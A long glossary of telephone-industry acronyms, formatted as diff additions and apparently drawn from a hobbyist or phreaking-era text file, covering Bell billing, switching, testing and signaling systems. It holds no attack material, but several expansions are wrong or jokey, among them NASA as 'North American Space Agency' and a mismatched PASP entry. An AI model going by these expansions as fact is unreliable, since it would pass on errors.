+BLF Busy Line Field
+BLS Business Listing Service
+BLV Busy Line Verification
+BNS Billed Number Screening
+BOC Bell Operating Company
+BOR Basic Output Report
+BORSCHT Battery, Overvoltage, Ringing, Supervision, Coding, Hybrid Testing
+BOS Business Office Supervisor
+BOSS Billing and Order Support System
+BOT Beginning Of Tape
+BPI Bits Per Inch
+BPOC Bell Point Of Contact
+BPS Bits Per Second
+BPSS Basic Packet-Switching Service
+BRAT Business Residence Account Tracking system
+BRCS Business Residence Custom Service
+BPH Bits Per Hour
+BRI Basic Rate Interface
+BRM Basic Remote Module
+BS Banded Signaling
+BS Bell South
+BSA Basic Serving Arrangements
+BSBH Busy Season Busy Hour
+BSC Business Service Center
+BSCM BiSynchronous Communications Module
+BSE Basic Service Elements
+BSF Bell Shock Force
+BSOC Bell Systems Operating Company
+BSP Bell System Practice
+BSRFS Bell System Reference Frequency Standard
+BST Basic Services Terminal
+BSTJ Bell System Technical Journal
+BT Bus Terminator
+BTAM Basic Telecommunications Access Message
+BTL Bell Telephone Laboratories
+BTN Billing Telephone Number
+BTU British Thermal Unit
+BVA Billing Validation Application
+BVC Billing Validation Center
+BWM Broadcast Warning Message
+BWT Broadcast Warning TWX
+BWTS BandWidth Test Set
+CA CAble
+CABS Carrier Access Billing System
+CAC Calling-card Authorization Center
+CAC Carrier Access Code
+CAC Circuit Administration Center
+CAC Customer Administration Center
+CAD Computer Aided Dispatch
+CAD/CAM Computer Aided Design/Computer Aided Manufacturing
+CADV Combined Alternate Data/Voice
+CAI Call Assembly Index
+CAIS Colocated Automatic Intercept System
+CALRS Centralized Automatic Loop Reporting System
+CAMA Centralized Automatic Message Accounting
+CAROT Centralized Automatic Reporting On Trunks
+CAS Circuit Associated Signaling
+CAS Centralized Attendant Service
+CAS Computerized Autodial System
+CAT Craft Access Terminal
+CATLAS Centralized Automatic Trouble Locating and Analysis System
+CBS CrossBar Switching
+CBX Computerized Branch eXchange
+CC Calling Card
+CC Central Control
+CC Common Control
+CC Country Code
+CC Credit Card
+CCC Central Control Complex
+CCC Computer Control Center
+CCF Credit/Calling Card Fraud
+CCH Connections per Circuit per Hour
+CCi CyberCrime International Network
+CCIR Comite' Consultatif International des Radio Communications
+CCIS Common Channel Interoffice Signaling
+CCITT Consultative Committee on International Telephone and Telegraph
+CCNC Common Channel Network Controller
+CCNC Computer/Communications Network Center
+CCR Customer-Controlled Reconfiguration
+CCS Common Channel Signaling
+CCS Hundred (C) Call Seconds
+CCSA Common-Control Switching Arrangement
+CCT Central Control Terminal
+CCTAC Computer Communications Trouble Analysis Center
+CCTV Closed Circuit Television
+CCU COLT Computer Unit
+CCV Calling Card Validation
+CDA Call Data Accumulator
+CDA Coin Detection and Announcement
+CDAR Customer Dialed Account Recording
+CDCF Cumulative Discounted Cash Flow
+CDF Combined Distributing Frame
+CDI Circle Digit Identification
+CDO Community Dial Office
+CDPR Customer Dial Pulse Receiver
+CDR Call Dial Rerouting
+CDS Craft Dispatch System
+CEF Cable Entrance Facility
+CEI Comparably Efficient Interconnection
+CELP Code Excited Linear Prediction
+CEPT Conference European on Post and Telecommunications
+CEV Controlled Environment Vault
+CF Coin First
+CFCA Communications Fraud Control Association
+CFR Code of Federal Regulations
+CGN Concentrator Group Number
+CGSA Cellular Geographic Serving Area
+CIC Carrier Identification Code
+CICS Customer Information Control System
+CID Caller ID
+CII Call Identity Index
+CIS Customized Intercept Service
+CLASS Centralized Local Area Selective Signaling
+CLASS Custom Local Area Signaling Service
+CLDN Calling Line Directory Number
+CLEI Common-Language Equipment Identification
+CLI Calling Line Ident
+CLID Calling Line IDentification
+CLLI Common-Language Location Identification
+CMAC Centralized Maintenance and Administration Center
+CMC Construction Maintenance Center
+CMDF Combined Main Distributing Frame
+CMDS Centralized Message Data System
+CMS Call Management System
+CMS Circuit Maintenance System
+CMS Communications Management Subsystem
+CMS Conversational Monitoring System
+CMT Cellular Mobile Telephone
+CMU COLT Measurement Unit
+CN Change Notice
+CN/A Customer Name/Address
+CNA Communications Network Application
+CNAB Customer Name/Address Bureau
+CNCC Customer Network Control Center
+CNI Common Network Interface
+CNI Calling Number Identification
+CNID Caller Name Identification
+CNMS Cylink Network Management System
+CNS Complimentary Network Service
+CO Central Office
+COAM Customer Owned And Maintained
+COC Circuit Order Control
+COCOT Customer-Owned Coin-Operated Telephone
+CODCF Central Office Data Connecting Facility
+CODEC COder-DECoder
+COE Central Office Equipment
+COEES COE Engineering System
+COLT Central Office Line Tester
+COMSAT COMmunications SATellite
+CONN CONNector
+CONTAC Central Office NeTwork ACcess
+CONUS CONtinental United States
+CORNET CORperate NETwork
+COSMIC COmmon Systems Main InterConnection frame system
+COSMOS COmputerized System for Mainframe OperationS
+COT Central Office Terminal
+CP Control Program
+CPC Cellular Phone Company
+CPC Circuit Provisioning Center
+CPD Central Pulse Distributor
+CPE Customer Premises Equipment
+CPH Cost Per Hour
+CPI Computer Private branch exchange Interface
+CPM Cost Per Minute
+CPMP Carrier Performance Measurement Plan
+CPU Central Processing Unit
+CRAS Cable Repair Administrative System
+CRC Customer Record Center
+CRC Cyclic Redundancy Check
+CREG Concentrated Range Extension with Gain
+CRFMP Cable Repair Force Management Plan
+CRIS Customer Record Information System
+CRS Centralized Results System
+CRSAB Centralized Repair Service Answering Bureau
+CRSO Cellular Radio Switching Office
+CRT Cathode Ray Tube
+CSA Carrier Serving Area
+CSACC Customer Service Administration Control Center
+CSAR Centralized System for Analysis Reporting
+CSC Cell Site Controller
+CSDC Circuit Switched Digital Capability
+CSM/CD Carrier Sense Multiple Access with Collision Detection
+CSNET Computer Science NETwork
+CSO Central Services Organization
+CSS Computer Sub-System
+CSU Channel Service Unit
+CTC Central Test Center
+CTM Contac Trunk Module
+CTMS Carrier Transmission Measuring System
+CTO Call Transfer Outside
+CTSS Cray Time Sharing System
+CTT Cartridge Tape Transport
+CTTC Cartridge Tape Transport Controller
+CTTN Cable Trunk Ticket Number
+CU Control Unit
+CU Customer Unit
+CUG Closed User Group
+CU/TK Common Update/EQuipment system
+CUCRIT Capital Utilization CRITeria
+CVR Compass Voice Response
+CWC City-Wide Centrex
+D/A Digital to Analog
+DA Directory Assistance
+DACS Digital Access Cross-connect System
+DACS Directory Assistance Charging System
+DAIS Distributed Automatic Intercept System
+DAMA Demand Assigned Multiple Access
+DARC Division Alarm Recording Center
+DARU Distributed automatic intercept system Audio Response Unit
+DAS Directory Assistance System
+DAS Distributor And Scanner
+DAS-WDT Distributor And Scanner-Watch Dog Timer
+DASD Direct Access Storage Device
+DAV Data Above Voice
+DB Decibel
+DBA Data Base Administrator
+DBAC Data Base Administration Center
+DBAS Data Base Administration System
+DBM DataBase Manager
+DBS Duplex Bus Selector
+DCCH Digital Control Channel
+DCCS DisContiguous Shared Segments
+DCE Data Circuit-terminating Equipment
+DCH D Channel Handler
+DCL DEC Control Language
+DCLU Digital Carrier Line Uint
+DCM Digital Carrier Module
+DCMS Distributed Call Measurement System
+DCMU Digital Concentrator Measurement Unit
+DCP Duplex Central Processor
+DCPR Detailed Contuing Property Record (PICS/DCPR)
+DCPSK Differential Coherent Phase-Shift Keying
+DCS Digital Crosconnect System
+DCT Digital Carrier Trunk
+DCTN Defense Commercial Telecommunications Network
+DCTS Dimension Custom Telephone Service
+DDC Direct Department Calling
+DDD Direct Distance Dialing
+DDN Defense Data Network
+DDS Digital Data Service
+DDS Digital Data System
+DDS Digital Dataphone Service
+DDX Distributed Data eXchange
+DEC Digital Equipment Corporation
+DERP Defective Equipment Replacement Program
+DES Data Encryption Standard
+DEW Distant Early Warning (line)
+DFI Digital Facility Interface
+DFMS Digital Facility Management System
+DIC Digital Interface Controller
+DID Direct Inward Dialing
+DIF Digital Interface Frame
+DIM Data In the Middle
+DIP Dual In-line Package
+DISA Direct Inward System Access
+DIU Digital Interface Unit
+DLC Digital Loop Carrier
+DLCU Digital Line Carrier Unit
+DLL Dial Long Lines
+DLS Digital Link Service
+DLTU Digital Line/Trunk Unit
+DLU-PG Digital Line Unit-Pair Gain
+DM Delta Modulation
+DMA Direct Memory Access
+DMI Digital Multiplexed Interface
+DML Data Manipulation Logic
+DMS Data Management System
+DMS Digital Multiplexed System
+DMU Data Manipulation Unit
+DN Directory Number
+DNC Dynamic Network Controller
+DNHR Dynamic Non Hierarchical Routing
+DNIC Data Network Identification Code
+DNIS Dialed Number Identification Service
+DNR Dialed Number Recorder
+DNS Domain Name Server
+DNX Dynamic Network X-connect
+DOC Dynamic Overload Control
+DOCS Display Operator Console System
+DOJ Department Of Justice
+DOM Data On Master group
+DOS Denial Of Service
+DOS Disk Operating System
+DOTS Digital Office Timing Supply
+DOV Data Over Voice
+DP Demarcation Point
+DP Dial Pulse
+DP Digital Phone
+DPAC Dedicated Plant Assignment Center
+DPC Destination Point Code
+DPE Data Path Extender
+DPN-PH Data Packet Network-Packet Handler
+DPP Discounted Payback Period
+DPSK Differential Phased-Shift Keying
+DQDB Distributed Queue Dual Bus
+DR Data Ready
+DR Data Receive
+DRMU Digital Remote Measurement Unit
+DS Digital carrier Span
+DS Digital Signal
+DS Direct Signal
+DSBAM Double-SideBand Amplitude Module
+DSDC Direct Service Dial Capability
+DSI Digital Speech Interpolation
+DSN Digital Signal (level) N
+DSP Digital Signal Processor
+DSR Dynamic Service Register
+DSS Data Station Selector
+DSU Data Service Unit
+DSX Digital System X-connect
+DT Data Transmit
+DT Di-group Terminal
+DTAS Digital Test Access System
+DTC Di-group Terminal Controller
+DTC Digital Traffic Channel
+DTC Digital Trunk Controller
+DTE Data Terminal Equipment
+DTF Dial Tone First
+DTG Direct Trunk Group
+DTIF Digital Transmission Interface Frame
+DTMF Dual Tone Multi Frequency
+DTU Di-group Terminal Unit
+DUV Data Under Voice
+DVX Digital Voice eXchange
+E&M rEceive & transMit/Ear & Mouth signaling
+E-BCCH Extended Broadcast Channel
+E-COM Electronic Computer Originated Mail
+E911 Enhanced 911
+EADAS Engineering and Administrative Data Acquisition System
+EADAS/NM EADAS/Network Management
+EAEO Equal Access End Office
+EARN European Academic Research Network
+EAS Extended Announcement System
+EAS Extended Area Service
+EASD Equal Access Service Date
+EBCDIC Extended Binary Coded Decimal Interexchange Code
+ECAP Electronic Customer Access Program
+ECC Enter Cable Change
+ECCS Economic C (hundred) Call Seconds
+ECF Enhanced Connectivity Facility
+ECPT Electronic Coin Public Telephone
+ECS Electronic Crosconnect System
+EDAC Electromechanical Digital Adapter Circuit
+EDI Electronic Data Interchange
+EDP Electronic Data Processing
+EDSX Electronic Digital Signal X-connect
+EECT End-to-End Call Trace
+EEDP Expanded Electronic tandem switching Dialing Plan
+EEHO Either End Hop Off
+EEI Equipment-to-Equipment Interface
+EFRAP Electronic Feeder Route Analysis Program
+EFS Error Free Seconds
+EIA Electronics Industries Assotiation
+EIRP Effective Isotropic Radiated Power
+EIS Expanded Inband Signaling
+EISS Economic Impact Study System
+EKTS Electronic Key Telephone Sets
+EMF Electromagnetic Frequency
+EMI Electromagnetic Interference
+EML Expected Measured Loss
+EMS Expanded Memory Specification
+ENFIA Exchange Network Facility for Interstate Access
+EO End Office
+EOE Electronic Order Exchange
+EOS Extended Operating System
+EOTT End Office Toll Trunking
+EPL Electronic switching system Program Language
+EPROM Erasable Programmable Read-Only Memory
+EPSCS Enhanced Private Switched Communication Service
+ER Error Register
+ERAR Error Return Address Register
+EREP Environmental Recording Editing and Printing
+ERL Echo Return Loss
+ERP Effective Radiated Power
+ERU Error Return address Update
+ESAC Electronic Surveillance Assistance Center
+ESB Emergency Service Bureau
+ESF Extended SuperFrame
+ESL Emergency Stand-Alone
+ESN Electronic Serial Number
+ESN Electronic Switched Network
+ESP Enhanced Service Provider
+ESS Electronic Switching System
+EESS Enhanced Electronic Switching System
+ESSX Electronic Switching Systen eXchange
+ETAS Emergency Technical ASsistance
+ETF Electronic Toll Fraud
+ETN Electronic Tandem Network
+ETS Electronic Tandem Switching
+ETS Electronic Translation System
+ETSACI Electronic Tandem Switching Adminstration Channel Interface
+ETSSP ETS Status Panel
+EXT EXTension
+F-BCCH Fast Broadcast Channel
+FA Fuse Alarm
+FACS Facilities Assignment and Control System
+FAR Federal Acquisition Regulation
+FAST First Application System Test
+FAT File Allocation Table
+FAQ Frequently Asked Questions
+FCAP Facility CAPacity
+FCC Federal Communications Commission
+FCC Forward Command Channel
+FCG False Cross or Ground
+FCS File Control Systemction
+FCS Frame Check Sequence
+FDCCH Forward DCCH
+FDDI Fiber Distributed Data Interface
+FDM Frequency Division Multiplexing
+FDMA Frequency Division Multiple Access
+FDP Field Development Program
+FDX Full DupleX
+FEC Forward Error Correction
+FED Far End Data
+FEMF Foreign Electro-Motive Force
+FEPS Facility and Equipment Planning System
+FEV Far End Voice
+FGA Feature Group A
+FGB Feature Group B
+FGC Feature Group C
+FGD Feature Group D
+FIFO First In, First Out
+FIOC Frame Input/Output Controller
+FIP Facility Interface Processor
+FIPS Federal Information Processing Standards
+FM Frequency Modulation
+FMAC Facility Maintenance And Control
+FNPA Foreign Numbering Plan Area
+FOC Fiber Optic Communications
+FON Fiber Optics Network
+FR Flat Rate
+FREQ Frequency
+FREQ File Request
+FRS Flexible Route Selection
+FSK Frequency Shift Keying
+FTG Final Trunk Group
+FTP File Transfer Protocol
+FTS Federal Telecommunications System
+FUBAR Fucked Up Beyond All Recognition
+FX Foreign eXchange
+GB GigaByte
+GBS Group Bridging Service
+GCS Group Control System
+GEISCO General Electric Information Services COmpany
+GHZ GigaHertZ
+GID Group ID
+GND GrouND
+GODS Global Outdials
+GOS Grade Of Service
+GP Group Processor
+GPIB General Purpose Interface Bus
+GRD GRounD
+GRP MOD GRouP MODulator
+GSA General Services Administration
+GSAT General telephone and electronics SATellite corporation
+GSZ Graphical Zmodem
+GTC General Telephone Company
+GTE General Telephone Electronics
+GTT Global Title Transmission
+HCS Hierarchical Cell Structure
+HCSDS High-Capacity Satellite Digital Service
+HCTDS High-Capacity Terrestrial Digital Service
+HD Hard Drive
+HDLC High-level Data Link Control
+HDTV High Definition TV
+HDX Half DupleX
+HEAP Home Energy Assistance Program
+HEHO High End Hop Off
+HIC Hybrid Integrated Circuit
+HNPA Home Numbering Plan Area
+HNS Hospitality Network Service
+HOBIC HOtel Billing Information Center
+HOBIS HOtel Billing Information System
+HP Hewlett-Packard
+HPO High Performance Option
+HSSDS High-Speed Switched Digital Service
+HTML Hyper Text Markup Language
+HU High Usage
+HUTG High Usage Trunk Group
+HZ HertZ
+I&M Installation & Maintenance
+I/O Input/Output
+IB Instruction Buffer
+IBM International Business Machines
+IBN Integrated Business Network
+IC Independent Carrier
+IC Integrated Circuit
+IC Inter-exchange Carrier
+IC Inter-LATA Carrier
+ICAN Individual Circuit ANalysis
+ICC Interstate Commerce Commission
+ICD Interactive Call Distribution
+ICLID Individual Calling Line ID
+ICM Integrated Call Management
+ICSC Inter-LATA Customer Service Center
+IDDD International Direct Distance Dialing
+IDE Integrated Drive Electronics
+IEC (IXC) Interexchange Carrier
+IDF Intermediate Distributing Frame
+IDS Internal Directory System
+IDVC Integrated Data/Voice Channel
+IEEE Institute of Electrical and Electronics Engineers
+IF Intermediate Frequency
+IFRPS Intercity Facility Relief Planning System
+IIN Integrated Information Network
+IM Interface Module
+IMAS Integrated Mass Announcement System
+IMM Input Message Manual
+IMT Inter-Machine Trunk
+IMTS Improved Mobile Telephone Service
+IN Intelligent Network
+INC InterNational Carrier
+INL Inter Node Link
+INMARSAT International Maritime Satellite Service
+INN Inter Node Network
+INT Interrupt
+INTELSAT INternational TELecommunications SATellite consortium
+INWATS INward Wide Area Telephone Service
+IO Inward Operator
+IOC Input/Output Controller
+IOCC International Overseas Completion Center
+IOP Input-Output Processor
+IOT Inter-Office Trunk
+IP Information Provider
+IP Internet Protocol
+IP Internet Provider
+IPCS Interactive Problem Control System
+IPL Initial Program Load
+IPLAN Integrated PLanning And Analysis
+IPM Impulses Per Minute
+IPM Interruptions Per Minute
+IPX Integrated Packet eXchange
+IRC International Record Carrier
+IROR Internal Rate Of Return
+IS Interrupt Set
+ISC International Switching Center
+ISDN Integrated Service Digital Network
+ISLM Integrated Services Line Module
+ISLU Integrated Services Line Unit
+ISN Information Systems Network
+ISN Integrated Systems Network
+ISO International Organization for Standardization
+ISP Internet Service Provider
+ISS Integrated Switching System
+ISSN Integrated Special Services Network
+ISUP Integrated Services User Part
+ITS Institute of Telecommunication Science
+ITSO Incoming Trunk Service Observation
+ITU International Telecommunications Union
+IVP Installation Verification Program
+IVR Interactive Voice Response
+IVTS International Video Teleconferencing Service
+IX Interactive eXecutive
+IXM IntereXchange Mileage
+JCL Job Control Language
+JES Job Entry System
+JIM Job Information Memorandum
+JMX Jumbogroup MultipleX
+JSN Junction Switch Number
+JSW Junctor SWitch
+K Kilobit
+KB Keyboard
+KBPS KiloBits Per Second
+KDT Keyboard Display Terminal
+KFT KiloFeeT
+KHZ KiloHertZ
+KP Key Pulse
+KSR Keyboard Send-Receive
+KTS Key Telephone Set
+KTS Key Telephone System
+LAC Loop Assignment Center
+LADT Local Access Data Transport
+LAIS Local Automatic Intercept System
+LAM Leave A Message
+LAMA Local Automatic Message Accounting
+LAN Local Area Network
+LAP Link Access Protocol
+LAPD Link Access Procedure on the D channel
+LAPD Los Angeles Police Department
+LASS Local Area Signaling Service
+LATA Local Access and Transport Area
+LATIS Loop Activity Tracking Information System
+LBO Line Buildout
+LBS Load Balance System
+LCAMOS Loop CAble Maintenance Operation System
+LCBO Liquor Control Board of Ontario
+LCCIS Local Common Channel Interoffice Signaling
+LCCL Line Card CabLe
+LCCLN Line Card Cable Narrative
+LCDN Last Called Directory Number
+LCIE Lightguide Cable Interconnection Equipment
+LCLOC Line Card LOCation
+LCN Logical Channel Numbers
+LCR Least Cost Routing
+LCRMKR Line Card ReMarKs, Retained
+LCSE Line Card Service and Equipment
+LCSEN Line Card Service and Equipment Narrative
+LD Long Distance
+LDMTS Long Distance Message Telecommunications Service
+LEAS LATA Equal Access System
+LEC Local Exchange Carrier
+LED Light-Emitting Diode
+LENCL Line Equipment Number CLass
+LF Line Finder
+LFACS Loop Facilties Assignment And Control System
+LIFO Last In, First Out
+LLC Logical Link Control
+LLN Line Link Network
+LMMS Local Message Metering System
+LMOS Loop Maintenace Operations System
+LMX L Multiplex
+LOC Local Operating Company
+LOCAP LOw CAPacitance
+LOF Lock OFf-line
+LON Lock ON-line
+LPCDF Low Profile Combined Distributing Frame
+LRAP Long Route Analysis Program
+LRC Longitudal Redundancy Check
+LRS Line Repeater Station
+LRSS Long Range Switching Studies
+LSB Lower Side Band
+LSI Large-Scale Integrated circuitry
+LSRP Local Switching Replacement Planning system
+LSS Loop Switching System
+LSV Line Status Verifier
+LTAB Line Test Access Bus
+LTC Local Test Cabinet
+LTD Local Test Desk
+LTF Lightwave Terminating Frame
+LTF Line Trunk Frame
+LTG Line Trunk Group
+LTS Loss Test Set
+LXE Lightguide eXpress Entry
+M/W MicroWave
+MA Maintenance Administrator
+MACBS Multi-Access Cable Billing System
+MADN Multiple Access Directory Numbers
+MAN Metropolitan Area Network
+MAP Maintenance and Administration Position
+MAPSS Maintenance & Analysis Plan for Special Services
+MAR Microprogram Address Register
+MARC Market Analysis of Revenue and Customers system
+MAS MAin Store
+MAS Mass Announcement System
+MASB MAS Bus
+MASC MAS Controller
+MASM MAS Memory
+MASM Micro$oft Assembler
+MATFAP Metropolitan Area Transmission Facility Analysys Program
+MB MegaByte
+MBPS MegaBits Per Second
+MBR Master Boot Record
+MCIAS Multi-Channel Intelligent Announcement System
+MCC Master Control Center
+MCCS Mechanized Calling Card Service
+MCH Maintenance CHannel
+MCHB Maintenance CHannel Buffer
+MCI Microwave Communications Incorporated
+MCIAS Multi-Channel Intercept Announcement System
+MCN Metropolitan Campus Network
+MCS Meeting Communications Service
+MCTRAP Mechanized Customer Trouble Report Analysis Plan
+MDACS Modular Digital Access Control System
+MDC Marker Distributor Control
+MDC Meridian Digital Centrex
+MDF Main Distribution Frame
+MDU Marker Decoder Unit
+MDX Modular Digital eXchange
+MEC Mobile Equipment Console
+MELD Mechanized Engineering and Layout for Distributing frames
+MERS Most Economic Route Selection
+MET Multibutton Electronic Telephone
+MF Multi Frequency
+MFENET Magnetic Fusion Energy NETwork
+MFJ Modification of Final Judgement
+MFR Multi-Frequency Receivers
+MFT Metallic Facility Terminal
+MG MasterGroup
+MGT MasterGroup Translator
+MHS Message Handling System
+MHZ MegaHertZ
+MICE Modular Integrated Communications Environment
+MIN Mobile Identification Number
+MINX Multimedia Information Network eXchange
+MIR Micro-Instruction Register
+MIS Management Information System
+MISCF MISCellaneous Frame
+MITS Microcomputer Interactive Test System
+MLC MiniLine Card
+MLCD Multi-Line Call Detail
+MLN Main Listed Number
+MLT Mechanized Loop Testing
+MMC Minicomputer Maintenance Center
+MMGT MultiMasterGroup Translator
+MMOC Minicomputer Maintenance Operations Center
+MMS Main Memory Status
+MMS Memory Management System
+MMX Mastergroup MultipleX
+MODEM MOdulator-DEModulator
+MOG Minicomputer Operations Group
+MOS Metal Oxide Semiconductor
+MP Multi-Processor
+MPCH Main Parallel CHannel
+MPOW Multiple Purpose Operator Workstation
+MPPD Multi-Purpose Peripheral Device
+MRF Maintenance Reset Function
+MS Maintenance State
+MS Millisecond
+MSC Media Stimulated Calling
+MTBF Mean Time Between Failures
+MTF Master Test Frame
+MTP Message Transfer Part
+MTR Mechanized Time Reporting
+MTS Message Telecommunications Service
+MTS Message Telephone Service
+MTS Mobile Telephone Service
+MTSO Mobile Telephone Switching Office
+MTTR Mean Time to Repair
+MTU Maintenance Termination Unit
+MTU Media Tech Unit
+MTX Mobile Telephone eXchange
+MU Message Unit
+MUD Master User Directory
+MULDEM MULtiplexer-DEMultiplexer
+MUX MUltipleX
+MVP Multiline Variety Package
+MVS Multiple Virtual Storage
+MW MultiWink
+MWI Message Waiting Indicator
+MXU MultipleXer Unit
+NA Next Address
+NAC Network Administration Center
+NAG Network Architecture Group
+NAM Number Assignment Module
+NAND Not-AND gate
+NAS Numerical and Atmospheric Sciences network
+NASA North American Space Agency
+NAU Network Access Unit
+NCC Network Control Center
+NCCF Network Communications Control Facility
+NCP Network Control Point
+NCS National Communications System
+NCTE Network Channel-Terminating Equipment
+NDCC Network Data Collection Center
+NEBS New Equipment-Building System
+NESAC National Electronic Switching Assistance Center
+NEXT Near-End X-Talk
+NHR Non Hierarchial Routing
+NI Network Interface
+NIC Network Interface Card
+NID Network Interface Device
+NM Network Module
+NMC Network Management Center
+NNX Network Numbering eXchange
+NOC Network Operations Center
+NOCS Network Operations Center System
+NORGEN Network Operations Report GENerator
+NOTIS Network Operator Trouble Information System
+NPA No Power Alarm
+NPA Numbering Plan Area
+NPV Net Present Value
+NS Nanosecond
+NSA National Security Agency
+NSC Network Service Center
+NSCS Network Service Center System
+NSEC Network Switching Engineering Center
+NSFNET National Science Foundation NETwork
+NSPMP Network Switching Performance Measurement Plan
+NT1 Network Termination 1
+NT2 Network Termination 2
+NT Network Termination
+NT Northern Telecom
+NTEC Network Technical Equipment Center
+NTIA National Telecommunications and Information Agency
+NTN Network Terminal Number
+NTS Network Technical Support
+NTS Network Test System
+NUA Network User Address
+NUI Network User Identification
+NYNEX New York, New England and the unknown (X)
+O-LTM Optical Line Terminating Multiplexer
+OAA/P Over-the-Air Activation and Programming
+OASYS Office Automation SYStem
+OC Operator Centralization
+OCC Other Common Carrier
+OCE Other Common carrier channel Equipment
+OCU Office Channel Unit
+ODAC Operations Distribution Administration Center
+ODD Operator Distance Dialing
+ODDD Operator Direct Distance Dialing
+ODS Overhead Data Stream
+OFNPS Outstate Facility Network Planning System
+OGT OutGoing Trunk
+OMM Output Message Manual
+OMPF Operation and Maintenance Processor Frame
+ONA Open Network Architecture
+ONAC Operations Network Administration Center
+ONAL Off Network Access Line
+ONI Operator Number Identification
+OP Outside Plant
+OPC Originating Point Codes
+OPEOS Outside Plant planning, Engineering & construction Operations System
+OPM Outside Plant Module
+OPS Off-Premises Station
+OPSM Outside Plant Subscriber Module
+OPX Off-Premises eXtension
+OR Originating Register
+ORB Office Repeater Bay
+ORM Optical Remote Module
+OS Operator Service
+OS OutState
+OSAC Operator Services Assistance Center
+OSC Operator Services Center
+OSC OSCillator
+OSDS Operating System for Distributed Switching
+OSI Open Systems Interconnection
+OSO Originating Signaling Office
+OSP OutSide Plant
+OSPS Operator Service Position System
+OSS Operator Service System
+OUTWATS OUTward Wide Area Telecommunications Service
+OW Over-Write
+P/AR Peak-to-Average Ratio
+PA Power Alarm
+PA Program Address
+PABX Private Automatic Branch eXchange
+PACE Program for Arrangement of Cables and Equipment
+PACT Prefix Access Code Translator
+PAD Packet Assembly/Disassembly
+PAM Pulse-Ampitude Modulation
+PAN Personal Account Number
+PANS Pretty Advanced New Stuff
+PAS Public Announcement Service
+PASP Public Service Answering Point
+PAT Power Alarm Test
+PAX Private Automatic eXchange
+PBC Peripheral Bus Computer
+PBC Processor Bus Controller
+PBD Pacific Bell Directory
+PBS Personal Base Station
+PBX Private Branch eXchange
+PC Primary Center
+PCDA Program Controlled Data Acquisition
+PCH Paging Channel
+PCH Parallel CHannel
+PCM Pulse-Code Modulation
+PCO Peg Count and Overflow
+PCS Personal Communications Services
+PCTV Program Controlled TransVerters
+PD Peripheral Decoder
+PD Public Domain
+PDF Power Distribution Frame
+PDI Power and Data Interface
+PDN Public Data Network
+PDSP Peripheral Data Storage Processor
+PE Peripheral Equipment
+PECC Product Engineering Control Center
+PFPU Processor Frame Power Unit
+PH Parity High bit
+PIA Plug-In Administrator
+PIC Plastic-Insulated Cable
+PIC Primary Independent Carrier
+PICS Plug-in Inventory Control System (PICS/DCPR)
+PIN Personal Identification Number
+PIP Packet Interface Port
+PL Parity Low bit
+PM Peripheral Module
+PM Plant Management
+PMAC Peripheral Module Access Controller
+PMU Precision Measurement Unit
+PNB Pacific Northwest Bell
+PNPN Positive-Negative-Positive-Negative devices
+POB Periphal Order Buffer
+POF Programmable Operator Facility
+POP Point Of Presence
+POTS Plain Old Telephone Service
+PP Pay Phone
+PP Post Pay
+PPD Peripheral Pulse Distributor
+PPN Public Packet Switching
+PPP Point to Point Terminal
+PPS Product Performance Surveys
+PPS Public Packet Switching network
+PRCA Puerto Rico Communications Authority
+PREMIS PREMises Information System
+PRI Primary Rate Interface
+PROM Programmable Read-Only Memory
+PROMATS PROgrammable Magnetic Tape System
+PROTEL PRocedure Oriented Type Enforcing Language
+PRS Personal Response System
+PRTC Puerto Rico Telephone Company
+PS Program Store
+PSAP Public Safety Answering Point
+PSC Prime Service Contractor
+PSC Public Safety Calling system
+PSC Public Service Commission
+PSDC Public Switched Digital Capability
+PSE Packet Switch Exchange
+PSID Private System Identity
+PSIU Packet Switch Interface Unit
+PSK Phase-Shift Keying
+PSM Packet Service Module
+PSM Position Switching Module
+PSN Packet Switched Network
+PSN Public Switched Network
+PSO Pending Service Order
+PSPDN Packet Switched Public Data Network
+PSS Packet Switch Stream
+PSS Packet Switched Services
+PSTN Public Switched Telephone Network
+PSU Program Storage Unit
+PSW Program Status Word
+PT Program Timer
+PTAT Private Trans Atlantic Telecommunications
+PTT Postal Telephone and Telegraph
+PTW Primary Translation Word
+PUC Peripheral Unit Controller
+PUC Public Utilities Commission
+PVC Permanent Virtual Circuits
+PVN Private Virtual Network
+QAM Quadrature-Amplitude Modulation
+QAS Quasi-Associated Signaling
+QMP Quality Measurement Plan
+QRSS Quasi Random Signal Source
+QSS Quality Surveillance System
+R Ring
+R&R Rate & Route
+R&SE Research & Systems Engineering
+R/O Read/Only
+R/W Read Write
+R/WM Read/Write Memory
+RACH Random Access Channel
+RAM Random-Access Memory
+RAND Rural Area Network Design
+RAO Regional Accounting Office
+RAO Revenue Accounting Office
+RAR Return Address Register
+RASC Residence Account Service Center
+RBHC Regional Bell Holding Company
+RBOC Regional Bell Operating Company
+RBOR Request Basic Output Report
+RC Regional Center
+RC Resistance-Capacitance
+RC MAC Recent Change Memory Administration Center
+RCC Radio Common Carrier
+RCC Remote Cluster Controller
+RCC Reverse Command Channel
+RCF Remote Call Forwarding
+RCLDN Retrieval of Calling Line Directory Number
+RCM Remote Carrier Module
+RCMP Royal Canadian Mounted Police
+RCSC Remote Spooling Communications Subsystem
+RCU Radio Channel Unit
+RCVR ReCeiVeR
+R&D Research and Development
+RD Reverse Database
+RDCCH Reverse DCCH
+RDES Remote Data Entry System
+RDS Radio Digital System
+RDT Radio Digital Terminal
+REC Regional Engineering Center
+REM Remote Equipment Module
+REMOBS REMote OBservation System
+REN Ring Equivalence Number
+REXX REstructred eXtended eXecuter language
+RF Radio Frequency
+RID Remote Isolation Device
+RISLU Remote Integrated Services Line Unit
+RLCM Remote Line Concentrating Module
+RLT Remote Line Test
+RMAS Remote Memory Administration System
+RMATS Remote Maintenance and Testing System
+RMR Remote Message Registers
+RMS Root-Mean-Square
+RN Reference Noise
+RNOC Regional Network Operations Center
+RO Receive Only
+ROB Remote Order Buffer
+ROC Regional Operating Company
+ROH Receiver Off Hook
+ROM Read-Only Memory
+ROTL Remote Office Test Line
+RQS Rate/Quote System
+RQSM Regional Quality Service Management
+RRO Reports Receiving Office
+RSA Repair Service Attendant
+RSB Repair Service Bureau
+RSC Remote Switching Center
+RSC Residence Service Center
+RSCS Remote Source Control System
+RSCS Remote Spooling Communications Subsystem
+RSID Residential System Identity
+RSL Received Signal Level
+RSLE Remote Subscriber Line Equipment
+RSLM Remote Subscriber Line Module
+RSM Remote Switching Module
+RSS Remote Switching System
+RSTS/E Resource System Time Sharing/Enhanced
+RSU Remote Switching Unit
+RTA Remote Trunking Arrangement
+RTL Resistor-Transistor Logic
+RTM Regional Telecommunications Management
+RTM Remote Test Module
+RTS Remote Testing System
+RTU Remote Trunking Unit
